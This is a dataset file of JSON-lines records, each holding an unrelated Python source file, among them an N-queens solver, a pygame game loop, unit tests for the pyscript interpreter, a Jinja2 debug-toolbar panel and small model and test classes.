'cityName':parse.quote(self.city_name),\n 'StartTime':str(datetime.now().date()),\n 'DepTime':str(datetime.now().date()+timedelta(days=1)),\n 'cityId':self.city_id,\n 'cityPY':self.city_pinyin,\n 'page':page,\n }\n\n pgnu = self.parse_htl(self._post(url=url_hl, formdata=data_hl))\n\n return pgnu\n\n\n\n\n def main(self):\n pgnu = self.crawl_htl(1)\n for i in range(pgnu):\n self.crawl_htl(i+1)\n","sub_path":"crawl/hotel.py","file_name":"hotel.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"517638626","text":"def n_queen(k):\n global count\n\n for i in range(k - 1): # 判斷是否可放置皇后的條件\n judge = queen[i] - queen[k - 1]\n if judge == 0 or abs(k - 1 - i) == abs(judge):\n return\n\n if k == n:\n print(queen) # 輸出皇后放置序列\n count += 1 # 解的個數\n return\n\n for i in range(n): # 放置皇后\n queen[k] = i\n n_queen(k + 1)\n\ncount = 0\nn = 8 # 此處的n為幾,則為幾皇后問題\nqueen = [0 for _ in range(n)]\nn_queen(0)\nprint(count)","sub_path":"homework/work2/queen.py","file_name":"queen.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"65295244","text":"import pygame\nfrom pygame.locals import *\nfrom Variables import *\n\nclass Director:\n #main class of the game, it is where the game is executed\n #in this class is the main loop of the game\n\n def __init__(self):\n\n self.screen = pygame.display.set_mode(ventana)\n pygame.display.set_caption(\"RPG\")\n self.scene = None #Escena actual\n self.quit_flag = False #Control para el bucle de juego\n self.clock = pygame.time.Clock()\n\n def loop(self): #main loop\n\n while not self.quit_flag:\n time = self.clock.tick(30) #PCMaster Race\n # Eventos que capturamos en cada momento\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.quit()\n break\n elif event.type == pygame.KEYDOWN:\n key = pygame.key.get_pressed()\n if key[K_ESCAPE]:\n self.quit()\n self.scene.on_event(key,self)\n\n keys = pygame.key.get_pressed()\n # actualiza la escena\n self.scene.on_update(time,keys,self)\n # dibuja la pantalla\n self.scene.on_draw(self.screen)\n pygame.display.update()\n\n def change_scene(self, scene): #used to change the scene which is currently running\n self.scene = scene\n\n def quit(self): #used to get out of game\n self.quit_flag = True\n","sub_path":"Director.py","file_name":"Director.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"512939816","text":"\"\"\"Unit tests for Python interpreter.\"\"\"\nimport asyncio\n\nfrom config.custom_components.pyscript.eval import AstEval\nfrom config.custom_components.pyscript.global_ctx import GlobalContext\nimport config.custom_components.pyscript.handler as handler\nimport config.custom_components.pyscript.state as state\n\nevalTests = [\n [\"1\", 1],\n [\"1+1\", 2],\n [\"1+2*3-2\", 5],\n [\"1-1\", 0],\n [\"4/2\", 2],\n [\"4**2\", 16],\n [\"4<<2\", 16],\n [\"16>>2\", 4],\n [\"18 ^ 2\", 16],\n [\"16 | 2\", 18],\n [\"0x37 & 0x6c \", 0x24],\n [\"11 // 2\", 5],\n [\"not True\", False],\n [\"not False\", True],\n [\"z = 1+2+3; a = z + 1; a + 3\", 10],\n [\"z = 1+2+3; a = z + 1; a - 3\", 4],\n [\"x = 1; -x\", -1],\n [\"z = 5; +z\", 5],\n [\"~0xff\", -256],\n [\"x = 1; x < 2\", 1],\n [\"x = 1; x <= 1\", 1],\n [\"x = 1; 0 < x < 2\", 1],\n [\"x = 1; 2 > x > 0\", 1],\n [\"x = 1; 2 > x >= 1\", 1],\n [\"x = 1; 0 < x < 2 < -x\", 0],\n [\"x = [1,2,3]; del x[1:2]; x\", [1, 3]],\n [\"x = [1,2,3]; del x[1::]; x\", [1]],\n [\"1 and 2\", 2],\n [\"1 and 0\", 0],\n [\"0 or 1\", 1],\n [\"0 or 0\", 0],\n [\"f'{1} {2:02d} {3:.1f}'\", \"1 02 3.0\"],\n [[\"x = None\", \"x is None\"], True],\n [\"None is not None\", False],\n [\"10 in {5, 9, 10, 20}\", True],\n [\"10 not in {5, 9, 10, 20}\", False],\n [\"sym_local + 10\", 20],\n [\"z = 'foo'; z + 'bar'\", \"foobar\"],\n [\"xyz.y = 5; xyz.y = 2 + int(xyz.y); int(xyz.y)\", 7],\n [\"xyz.y = 'bar'; xyz.y += '2'; xyz.y\", \"bar2\"],\n [\"z = 'abcd'; z.find('c')\", 2],\n [\"'abcd'.upper().lower().upper()\", \"ABCD\"],\n [\"len('abcd')\", 4],\n [\"6 if 1-1 else 2\", 2],\n [\"x = 1; x += 3; x\", 4],\n [\"z = [1,2,3]; [z[1], z[-1]]\", [2, 3]],\n [\"'{1} {0}'.format('one', 'two')\", \"two one\"],\n [\"'%d, %d' % (23, 45)\", \"23, 45\"],\n [\"args = [1, 5, 10]; {6, *args, 15}\", {1, 5, 6, 10, 15}],\n [\"args = [1, 5, 10]; [6, *args, 15]\", [6, 1, 5, 10, 15]],\n [\"kw = {'x': 1, 'y': 5}; {**kw}\", {\"x\": 1, \"y\": 5}],\n [\n \"kw = {'x': 1, 'y': 5}; kw2 = {'z': 10}; {**kw, **kw2}\",\n {\"x\": 1, \"y\": 5, \"z\": 10},\n ],\n [\"[*iter([1, 2, 3])]\", [1, 2, 3]],\n [\"{*iter([1, 2, 3])}\", {1, 2, 3}],\n [\"if 1: x = 10\\nelse: x = 20\\nx\", 10],\n [\"if 0: x = 10\\nelse: x = 20\\nx\", 20],\n [\"i = 0\\nwhile i < 5: i += 1\\ni\", 5],\n [\"i = 0\\nwhile i < 5: i += 2\\ni\", 6],\n [\"i = 0\\nwhile i < 5:\\n i += 1\\n if i == 3: break\\n2 * i\", 6],\n [\n \"i = 0; k = 10\\nwhile i < 5:\\n i += 1\\n if i <= 2: continue\\n k += 1\\nk + i\",\n 18,\n ],\n [\"i = 1; break; i = 1/0\", None],\n [\"s = 0;\\nfor i in range(5):\\n s += i\\ns\", 10],\n [\"s = 0;\\nfor i in iter([10,20,30]):\\n s += i\\ns\", 60],\n [\n \"z = {'foo': 'bar', 'foo2': 12}; z['foo'] = 'bar2'; z\",\n {\"foo\": \"bar2\", \"foo2\": 12},\n ],\n [\"z = {'foo': 'bar', 'foo2': 12}; z['foo'] = 'bar2'; z.keys()\", {\"foo\", \"foo2\"}],\n [\"z = {'foo', 'bar', 12}; z\", {\"foo\", \"bar\", 12}],\n [\n \"x = dict(key1 = 'value1', key2 = 'value2'); x\",\n {\"key1\": \"value1\", \"key2\": \"value2\"},\n ],\n [\n \"x = dict(key1 = 'value1', key2 = 'value2', key3 = 'value3'); del x['key1']; x\",\n {\"key2\": \"value2\", \"key3\": \"value3\"},\n ],\n [\n \"x = dict(key1 = 'value1', key2 = 'value2', key3 = 'value3'); del x[['key1', 'key2']]; x\",\n {\"key3\": \"value3\"},\n ],\n [\"z = {'foo', 'bar', 12}; z.remove(12); z.add(20); z\", {\"foo\", \"bar\", 20}],\n [\"z = [0, 1, 2, 3, 4, 5, 6]; z[1:5:2] = [4, 5]; z\", [0, 4, 2, 5, 4, 5, 6]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][1:5:2]\", [1, 3]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][1:5]\", [1, 2, 3, 4]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][1::3]\", [1, 4, 7]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][4::]\", [4, 5, 6, 7, 8]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][4:]\", [4, 5, 6, 7, 8]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][:6:2]\", [0, 2, 4]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][:4:]\", [0, 1, 2, 3]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][::2]\", [0, 2, 4, 6, 8]],\n [\"[0, 1, 2, 3, 4, 5, 6, 7, 8][::]\", [0, 1, 2, 3, 4, 5, 6, 7, 8]],\n [\n \"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[1:5:2] = [6, 8]; z\",\n [0, 6, 2, 8, 4, 5, 6, 7, 8],\n ],\n [\"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[1:5] = [10, 11]; z\", [0, 10, 11, 5, 6, 7, 8]],\n [\n \"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[1::3] = [10, 11, 12]; z\",\n [0, 10, 2, 3, 11, 5, 6, 12, 8],\n ],\n [\n \"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[4::] = [10, 11, 12, 13]; z\",\n [0, 1, 2, 3, 10, 11, 12, 13],\n ],\n [\n \"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[4:] = [10, 11, 12, 13, 14]; z\",\n [0, 1, 2, 3, 10, 11, 12, 13, 14],\n ],\n [\n \"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[:6:2] = [10, 11, 12]; z\",\n [10, 1, 11, 3, 12, 5, 6, 7, 8],\n ],\n [\n \"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[:4:] = [10, 11, 12, 13]; z\",\n [10, 11, 12, 13, 4, 5, 6, 7, 8],\n ],\n [\n \"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[::2] = [10, 11, 12, 13, 14]; z\",\n [10, 1, 11, 3, 12, 5, 13, 7, 14],\n ],\n [\n \"z = [0, 1, 2, 3, 4, 5, 6, 7, 8]; z[::] = [10, 11, 12, 13, 14, 15, 16, 17]; z\",\n [10, 11, 12, 13, 14, 15, 16, 17],\n ],\n [\"(x, y) = (1, 2); [x, y]\", [1, 2]],\n [\"y = [1,2]; (x, y[0]) = (3, 4); [x, y]\", [3, [4, 2]]],\n [\"((x, y), (z, t)) = ((1, 2), (3, 4)); [x, y, z, t]\", [1, 2, 3, 4]],\n [\n \"z = [1,2,3]; ((x, y), (z[2], t)) = ((1, 2), (20, 4)); [x, y, z, t]\",\n [1, 2, [1, 2, 20], 4],\n ],\n [\"Foo = type('Foo', (), {'x': 100}); Foo.x = 10; Foo.x\", 10],\n [\"Foo = type('Foo', (), {'x': 100}); Foo.x += 10; Foo.x\", 110],\n [\"Foo = [type('Foo', (), {'x': 100})]; Foo[0].x = 10; Foo[0].x\", 10],\n [\"eval('1+2')\", 3],\n [\"x = 5; eval('2 * x')\", 10],\n [\"x = 5; exec('x = 2 * x'); x\", 10],\n [\"eval('xyz', {'xyz': 10})\", 10],\n [\"g = {'xyz': 10}; eval('xyz', g, {})\", 10],\n [\"g = {'xyz': 10}; eval('xyz', {}, g)\", 10],\n [\"g = {'xyz': 10}; exec('xyz = 20', {}, g); g\", {\"xyz\": 20}],\n [\n \"g = {'xyz': 10}; xyz = 'abc'; exec('xyz = 20', g, {}); [g['xyz'], xyz]\",\n [10, \"abc\"],\n ],\n [\"g = {'xyz': 10}; exec('xyz = 20', {}, g); g\", {\"xyz\": 20}],\n [\"x = 18; locals()['x']\", 18],\n [\"import math; globals()['math'].sqrt(1024)\", 32],\n [\"import math; exec('xyz = math.floor(5.6)'); xyz\", 5],\n [\"import random as rand, math as m\\n[rand.uniform(10,10), m.sqrt(1024)]\", [10, 32]],\n [\"import cmath\\ncmath.sqrt(complex(3, 4))\", 2 + 1j],\n [\"from math import sqrt as sqroot\\nsqroot(1024)\", 32],\n [\n \"\"\"\nbar = 100\ndef foo(bar=6):\n bar += 2\n return eval('bar')\n bar += 5\n return 1000\n[foo(), foo(5), bar]\n\"\"\",\n [8, 7, 100],\n ],\n [\n \"\"\"\nbar = 100\ndef foo(bar=6):\n bar += 2\n del bar\n return eval('bar')\n bar += 5\n return 1000\n[foo(), foo(5), bar]\n\"\"\",\n [100, 100, 100],\n ],\n [\n \"\"\"\nbar = 100\nbar2 = 1000\nbar3 = 100\ndef foo(arg=6):\n global bar, bar2, bar3\n bar += arg\n bar2 = 1001\n del bar3\n return bar\n bar += arg\n return 1000\n[foo(), foo(5), bar, bar2]\n\"\"\",\n [106, 111, 111, 1001],\n ],\n [\n \"\"\"\ndef foo0(arg=6):\n bar = 100\n bar2 = 1000\n bar3 = 100\n def foo1(arg=6):\n nonlocal bar, bar2, bar3\n bar += arg\n bar2 = 1001\n del bar3\n return bar\n bar += arg\n return 1000\n return [foo1(arg), bar, bar2]\n[foo0(), foo0(5)]\n\"\"\",\n [[106, 106, 1001], [105, 105, 1001]],\n ],\n [\n \"\"\"\nbar = 50\nbar2 = 500\nbar3 = 50\ndef foo0(arg=6):\n bar = 100\n bar2 = 1000\n bar3 = 100\n def foo1(arg=6):\n nonlocal bar, bar2, bar3\n bar += arg\n bar2 = 1001\n del bar3\n return eval('bar')\n bar += arg\n return 1000\n return [foo1(arg), bar, eval('bar2')]\n[foo0(), foo0(5)]\n\"\"\",\n [[106, 106, 1001], [105, 105, 1001]],\n ],\n [\n \"\"\"\nbar = 50\nbar2 = 500\nbar3 = 50\ndef foo0(arg=6):\n bar = 100\n bar2 = 1000\n bar3 = 100\n def foo1(arg=6):\n nonlocal bar, bar2, bar3\n bar += arg\n bar2 = 1001\n del bar3\n return eval('bar')\n bar += arg\n return 1000\n # on real python, eval('[foo1(arg), bar, bar2]') doesn't yield\n # the same result as our code; if we eval each entry then they\n # get the same result\n return [eval('foo1(arg)'), eval('bar'), eval('bar2')]\n[foo0(), foo0(5), eval('bar'), eval('bar2')]\n\"\"\",\n [[106, 106, 1001], [105, 105, 1001], 50, 500],\n ],\n [\n \"\"\"\n@dec_test(\"abc\")\ndef foo(cnt=4):\n sum = 0\n for i in range(cnt):\n sum += i\n if i == 6:\n return 1000 + sum\n if i == 7:\n break\n return sum\n[foo(3), foo(6), foo(10), foo(20), foo()]\n\"\"\",\n [\n sum(range(3)),\n sum(range(6)),\n 1000 + sum(range(7)),\n 1000 + sum(range(7)),\n sum(range(4)),\n ],\n ],\n [\n \"\"\"\ndef foo(cnt=5):\n sum = 0\n for i in range(cnt):\n if i == 4:\n continue\n if i == 8:\n break\n sum += i\n return sum\n[foo(3), foo(6), foo(10), foo(20), foo()]\n\"\"\",\n [\n sum(range(3)),\n sum(range(6)) - 4,\n sum(range(9)) - 4 - 8,\n sum(range(9)) - 4 - 8,\n sum(range(5)) - 4,\n ],\n ],\n [\n \"\"\"\ndef foo(cnt=5):\n sum = 0\n for i in range(cnt):\n if i == 8:\n break\n sum += i\n else:\n return 1000 + sum\n return sum\n[foo(3), foo(6), foo(10), foo(20), foo()]\n\"\"\",\n [\n sum(range(3)) + 1000,\n sum(range(6)) + 1000,\n sum(range(9)) - 8,\n sum(range(9)) - 8,\n sum(range(5)) + 1000,\n ],\n ],\n [\n \"\"\"\ndef foo(cnt=5):\n sum = 0\n i = 0\n while i < cnt:\n if i == 8:\n break\n sum += i\n i += 1\n else:\n return 1000 + sum\n return sum\n[foo(3), foo(6), foo(10), foo(20), foo()]\n\"\"\",\n [\n sum(range(3)) + 1000,\n sum(range(6)) + 1000,\n sum(range(9)) - 8,\n sum(range(9)) - 8,\n sum(range(5)) + 1000,\n ],\n ],\n [\n \"\"\"\ndef foo(cnt):\n sum = 0\n for i in range(cnt):\n sum += i\n if i != 6:\n pass\n else:\n return 1000 + sum\n if i == 7:\n break\n return sum\n[foo(3), foo(6), foo(10), foo(20)]\n\"\"\",\n [sum(range(3)), sum(range(6)), 1000 + sum(range(7)), 1000 + sum(range(7))],\n ],\n [\n \"\"\"\ndef foo(cnt):\n sum = 0\n i = 0\n while i < cnt:\n sum += i\n if i != 6:\n pass\n else:\n return 1000 + sum\n if i == 7:\n break\n i += 1\n return sum\n[foo(3), foo(6), foo(10), foo(20)]\n\"\"\",\n [sum(range(3)), sum(range(6)), 1000 + sum(range(7)), 1000 + sum(range(7))],\n ],\n [\n \"\"\"\ndef foo(x=30, *args, y = 123, **kwargs):\n return [x, y, args, kwargs]\n[foo(a = 10, b = 3), foo(40, 7, 8, 9, a = 10, y = 3), foo(x=42)]\n\"\"\",\n [\n [30, 123, (), {\"a\": 10, \"b\": 3}],\n [40, 3, (7, 8, 9), {\"a\": 10}],\n [42, 123, (), {}],\n ],\n ],\n [\n \"\"\"\ndef foo(*args):\n return [*args]\nlst = [6, 10]\n[foo(2, 3, 10) + [*lst], [foo(*lst), *lst]]\n\"\"\",\n [[2, 3, 10, 6, 10], [[6, 10], 6, 10]],\n ],\n [\n \"\"\"\ndef foo(arg1=None, **kwargs):\n return [arg1, kwargs]\n[foo(), foo(arg1=1), foo(arg2=20), foo(arg1=10, arg2=20), foo(**{'arg2': 30})]\n\"\"\",\n [\n [None, {}],\n [1, {}],\n [None, {\"arg2\": 20}],\n [10, {\"arg2\": 20}],\n [None, {\"arg2\": 30}],\n ],\n ],\n [\n \"\"\"\ndef func(exc):\n try:\n x = 1\n if exc:\n raise exc\n except NameError as err:\n x += 100\n except (NameError, OSError) as err:\n x += 200\n except Exception as err:\n x += 300\n return x\n else:\n x += 10\n finally:\n x += 2\n x += 1\n return x\n[func(None), func(NameError(\"x\")), func(OSError(\"x\")), func(ValueError(\"x\"))]\n\"\"\",\n [14, 104, 204, 301],\n ],\n [\n \"\"\"\ndef func(exc):\n try:\n x = 1\n if exc:\n raise exc\n except NameError as err:\n x += 100\n except (NameError, OSError) as err:\n x += 200\n except Exception as err:\n x += 300\n return x\n else:\n return x + 10\n finally:\n x += 2\n return x\n x += 1\n return x\n[func(None), func(NameError(\"x\")), func(OSError(\"x\")), func(ValueError(\"x\"))]\n\"\"\",\n [3, 103, 203, 303],\n ],\n]\n\n\nasync def run_one_test(test_data, state_func, handler_func):\n \"\"\"Run one interpreter test.\"\"\"\n source, expect = test_data\n global_ctx = GlobalContext(\n \"test\",\n None,\n global_sym_table={},\n state_func=state_func,\n handler_func=handler_func,\n )\n ast = AstEval(\n \"test\", global_ctx=global_ctx, state_func=state_func, handler_func=handler_func\n )\n ast.parse(source)\n if ast.get_exception() is not None:\n print(f\"Parsing {source} failed: {ast.get_exception()}\")\n # print(ast.dump())\n result = await ast.eval({\"sym_local\": 10})\n assert result == expect\n\n\ndef test_eval(hass):\n \"\"\"Test interpreter.\"\"\"\n handler_func = handler.Handler(hass)\n state_func = state.State(hass, handler_func)\n state_func.register_functions()\n\n for test_data in evalTests:\n asyncio.run(run_one_test(test_data, state_func, handler_func))\n\n\nevalTestsExceptions = [\n [None, \"parsing error compile() arg 1 must be a string, bytes or AST object\"],\n [\"1+\", \"syntax error invalid syntax (test, line 1)\"],\n [\n \"1+'x'\",\n \"Exception in test line 1 column 2: unsupported operand type(s) for +: 'int' and 'str'\",\n ],\n [\"xx\", \"Exception in test line 1 column 0: name 'xx' is not defined\"],\n [\n \"(x, y) = (1, 2, 4)\",\n \"Exception in test line 1 column 16: too many values to unpack (expected 2)\",\n ],\n [\n \"(x, y, z) = (1, 2)\",\n \"Exception in test line 1 column 16: too few values to unpack (expected 3)\",\n ],\n [\n \"(x, y) = 1\",\n \"Exception in test line 1 column 9: cannot unpack non-iterable object\",\n ],\n [\n \"import math; math.sinXYZ\",\n \"Exception in test line 1 column 13: module 'math' has no attribute 'sinXYZ'\",\n ],\n [\"del xx\", \"Exception in test line 1 column 0: name 'xx' is not defined in del\"],\n [\n \"with None:\\n pass\\n\",\n \"Exception in test line 1 column 0: test: not implemented ast ast_with\",\n ],\n [\n \"import cmath; exec('xyz = cmath.sqrt(complex(3, 4))', {})\",\n \"Exception in test line 1 column 54: Exception in exec() line 1 column 28: function 'sqrt' is not callable (got None)\",\n ],\n [\"func1(1)\", \"Exception in test line 1 column 0: name 'func1' is not defined\"],\n [\n \"def func(a):\\n pass\\nfunc()\",\n \"Exception in test line 3 column 0: func() missing 1 required positional arguments\",\n ],\n [\n \"def func(a):\\n pass\\nfunc(1, 2)\",\n \"Exception in test line 3 column 8: func() called with too many positional arguments\",\n ],\n [\n \"def func(a=1):\\n pass\\nfunc(1, a=3)\",\n \"Exception in test line 3 column 5: func() got multiple values for argument 'a'\",\n ],\n [\n \"def func(*a, b):\\n pass\\nfunc(1, 2)\",\n \"Exception in test line 3 column 8: func() missing required keyword-only arguments\",\n ],\n [\n \"import asyncio\",\n \"Exception in test line 1 column 0: import of asyncio not allowed\",\n ],\n [\n \"from asyncio import xyz\",\n \"Exception in test line 1 column 0: import from asyncio not allowed\",\n ],\n [\n \"\"\"\ndef func():\n nonlocal x\n x = 1\nfunc()\n\"\"\",\n \"Exception in func(), test line 4 column 4: can't find nonlocal 'x' for assignment\",\n ],\n [\n \"\"\"\ndef func():\n nonlocal x\n x += 1\nfunc()\n\"\"\",\n \"Exception in func(), test line 4 column 4: nonlocal name 'x' is not defined\",\n ],\n [\n \"\"\"\ndef func():\n global x\n return x\nfunc()\n\"\"\",\n \"Exception in func(), test line 4 column 11: global name 'x' is not defined\",\n ],\n [\n \"\"\"\ndef func():\n x = 1\n eval('1 + y')\nfunc()\n\"\"\",\n \"Exception in test line 4 column 9: Exception in func(), eval() line 1 column 4: name 'y' is not defined\",\n ],\n]\n\n\nasync def run_one_test_exception(test_data, state_func, handler_func):\n \"\"\"Run one interpreter test that generates an exception.\"\"\"\n source, expect = test_data\n global_ctx = GlobalContext(\n \"test\",\n None,\n global_sym_table={},\n state_func=state_func,\n handler_func=handler_func,\n )\n ast = AstEval(\n \"test\", global_ctx=global_ctx, state_func=state_func, handler_func=handler_func\n )\n ast.parse(source)\n exc = ast.get_exception()\n if exc is not None:\n assert exc == expect\n return\n await ast.eval()\n exc = ast.get_exception()\n if exc is not None:\n assert exc == expect\n return\n assert False\n\n\ndef test_eval_exceptions(hass):\n \"\"\"Test interpreter exceptions.\"\"\"\n handler_func = handler.Handler(hass)\n state_func = state.State(hass, handler_func)\n state_func.register_functions()\n\n for test_data in evalTestsExceptions:\n asyncio.run(run_one_test_exception(test_data, state_func, handler_func))\n","sub_path":"tests/custom_components/pyscript/test_unit_eval.py","file_name":"test_unit_eval.py","file_ext":"py","file_size_in_byte":17409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"59766920","text":"import abc\nimport logging\n\nlogger = logging.getLogger('droid')\n\nclass Resource(metaclass=abc.ABCMeta):\n __dependencies = None\n __after = None\n __id = None\n\n def __init__(self, res_id, content, raw):\n self.__raw_resources = raw\n content = self.preprocess(content)\n\n self.__id = res_id\n\n if 'after' in content:\n if not isinstance(content['after'], list):\n raise Exception(f\"After hook for { self.__id } is not a list\")\n\n self.__after = content['after']\n \n if 'depends_on' in content:\n self.__dependencies = content['depends_on']\n\n def get_after(self):\n return self.__after\n\n def get_dependencies(self):\n return self.__dependencies\n\n def get_id(self):\n return self.__id\n\n def preprocess(self, item):\n if isinstance(item, dict):\n for k, v in item.items():\n if k in ['after', 'depends_on']:\n self.__validate_ref_field(v)\n item[k] = v\n else:\n item[k] = self.preprocess(v)\n elif isinstance(item, list):\n item = [ self.preprocess(item_val) for item_val in item ]\n else:\n item = str(item)\n while item.startswith(\">>\"):\n item = self.__get_reference(item[2:])\n\n return item\n\n def __validate_ref_field(self, v):\n return [ self.__get_reference(val) for val in v ]\n\n def __get_reference(self, v):\n info = v.split('.')\n\n v = self.__raw_resources\n for i in info:\n try:\n v = v[i]\n except KeyError:\n logger.fatal(f\"{ '.'.join(info) } is a reference to an unknown resource\")\n exit(1)\n\n return v","sub_path":"app/models/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"597838746","text":"from wikipda.article import Preprocessor, Bagger, fetch_article_data\nfrom wikipda.model import WikiPDAModel, ORESClassifier\n\n# Scrape articles from Wikipedia using revision IDs\ntitles, revisions, wikitexts = fetch_article_data([985175359], 'en')\n\n# Also possible to process only wikitexts!\np = Preprocessor('en')\narticles = p.load(wikitexts, revisions, titles, enrich=True)\n\n# Create bag-of-links representations\nb = Bagger()\nbols = b.bag(articles)\n\n# Produce embeddings\nmodel = WikiPDAModel(k=40)\ntopics_distribution = model.get_distribution(bols)\n\n# predict the categories of the texts\n# NOTE: currently only supports topic embeddings with k=300\nclassifier = ORESClassifier()\ntext_categories = classifier.predict_category(topics_distribution)\n\nprint(topics_distribution)\nprint(text_categories)\n","sub_path":"WikiPDA-Lib/examples/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"468219549","text":"\"\"\" A django-debug-toolbar panel for Jinja2 templates.\n\n There are (at least) two methods to get information about templates as they\n are rendered. The standard debug_toolbar template's panel uses signals\n to run _store_template_info whenever a template is loaded. This does not\n work perfectly with Jinja2, as the signal is only fired once per template,\n i.e. it does not look at inheritance. This means it works for displaying\n context, but without displaying the inheritance hierarchy.\n\n The method used below wraps Jinja2.Environment.get_template in a function\n that calles _store_template_info - this means we get all of the templates\n in the hierarchy, but without any context.\n\n Next step is to figure out the best way of combining these methods so we\n have all of the hierarchy, but with context too. Perhaps override\n TemplateDebugPanel (thus using the signal method), but also use the\n get_template method to get hierarchy info? Or monkey-patch Jinja2 to send a\n signal in get_template?\n\"\"\"\nfrom django.conf import settings\nfrom debug_toolbar.panels import DebugPanel\nfrom os.path import normpath\nfrom pprint import pformat\nimport coffin.template.loader\nimport jinja2\n\ndef get_template_info(func, panel):\n \"\"\" Gathers information about rendered templates. Used to wrap jinja2's\n get_template call.\n\n Panel is the instance of Jinja2DebugPanel.\n \"\"\"\n def wrapped(env, template, parent=None, **kwargs):\n template = func(env, template, parent, **kwargs)\n # Store the template info (this is usually called by the\n # template_rendered signal when working with Django templates)\n panel._store_template_info(sender=template,\n template=template,\n **kwargs)\n return template\n wrapped.__doc__ = func.__doc__\n wrapped.__name__ = func.__name__\n return wrapped\n\n\nclass Jinja2DebugPanel(DebugPanel):\n name = 'Jinja2 Templates'\n template = 'panels/templates.html'\n has_content = True\n\n def __init__(self, *args, **kwargs):\n super(Jinja2DebugPanel, self).__init__(*args, **kwargs)\n # Monkey-patch get_template so it passes through the track function\n jinja2.Environment.get_template = get_template_info(jinja2.Environment.get_template,\n self)\n self.templates = []\n \n def nav_title(self):\n return 'Jinja2 Templates'\n\n def url(self):\n return ''\n\n def title(self):\n return self.nav_title()\n\n def _store_template_info(self, sender, **kwargs):\n \"\"\" Adds information about the current template to the list.\n\n TODO \n We never get any context here, need to fix that. Might need to hook\n in to somewhere other than get_template, as that does not get any\n context data.\n\n Info about context processors should also be gathered here, but\n that won't work until context is working.\n \"\"\"\n t = kwargs['template']\n if not isinstance(t, coffin.template.Template):\n return \n self.templates.append(kwargs)\n\n def process_response(self, request, response):\n \"\"\" Processes the list of templates and produces final data to be\n displayed in the debug panel.\n \"\"\"\n template_context = []\n for template_data in self.templates:\n info = {}\n template = template_data.get('template', None)\n if hasattr(template, 'origin') and template.origin.name:\n template.origin_name = template.origin.name\n else:\n template.origin_name = 'No origin'\n info['template'] = template\n context_list = template_data.get('context', [])\n info['context'] = '\\n'.join(context_list)\n template_context.append(info)\n\n context_processors = []\n self.record_stats({\n 'templates': template_context,\n 'template_dirs': [normpath(x) for x in settings.TEMPLATE_DIRS],\n 'context_processors': context_processors,\n })\n","sub_path":"jinja2_toolbar/panels/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"542387903","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Модель для сохранения общих настроек событий сотрудников фирмы\n\n :copyright: (c) 2016 by Denis Amelin.\n :license: BSD, see LICENSE for more details.\n\"\"\"\n\nfrom web import db\n\nfrom models.base_model import BaseModel\n\n\nclass CommonEvent(db.Model, BaseModel):\n\n __bind_key__ = 'term'\n __tablename__ = 'common_event'\n \n STATUS_NEW = 'new'\n STATUS_CEREATED = 'created'\n STATUS_REMOVING = 'removing'\n STATUS_REMOVED = 'removed'\n\n id = db.Column(db.Integer, primary_key=True)\n term_id = db.Column(db.Integer, db.ForeignKey('term.id'))\n term = db.relationship('Term')\n event_id = db.Column(db.Integer, db.ForeignKey('event.id'))\n event = db.relationship('Event')\n firm_id = db.Column(db.Integer, db.ForeignKey('firm.id'))\n firm = db.relationship('Event')\n timeout = db.Column(db.Integer, nullable=False)\n status = db.Column(db.String(32), nullable=False)\n \n\n def __init__(self):\n self.timeout = 5\n self.status = self.STATUS_NEW\n \n def to_json(self):\n items = dict(\n id=self.id,\n term_id=self.term_id,\n event_id=self.event_id,\n firm_id=self.firm_id,\n timeout=self.timeout,\n status=self.status,\n )\n return items","sub_path":"models/common_event.py","file_name":"common_event.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"117086989","text":"import unittest\n\n\nclass TestConvertingFunctions(unittest.TestCase):\n\n def test_c(self):\n self.a = 'hello'.upper()\n self.assertTrue(self.a.isupper())\n\n def test_b(self):\n self.b = 'hello ' * 2\n self.assertEqual(self.b.rstrip(), 'hello' + ' ' + 'hello')\n\n\nif __name__ == '__main__':\n unittest.main()\n#These tests are working with nose unit testing framework\n","sub_path":"hello/tests/test_converting.py","file_name":"test_converting.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"237426197","text":"import time\n\nfrom selenium.webdriver.support.select import Select\n\nfrom Data.parameters import Data\nfrom reuse_func import GetData\n\n\nclass cluster_btn_scores():\n def __init__(self,driver):\n self.driver = driver\n\n def test_click_clusters(self):\n self.driver.implicitly_wait(30)\n self.p = 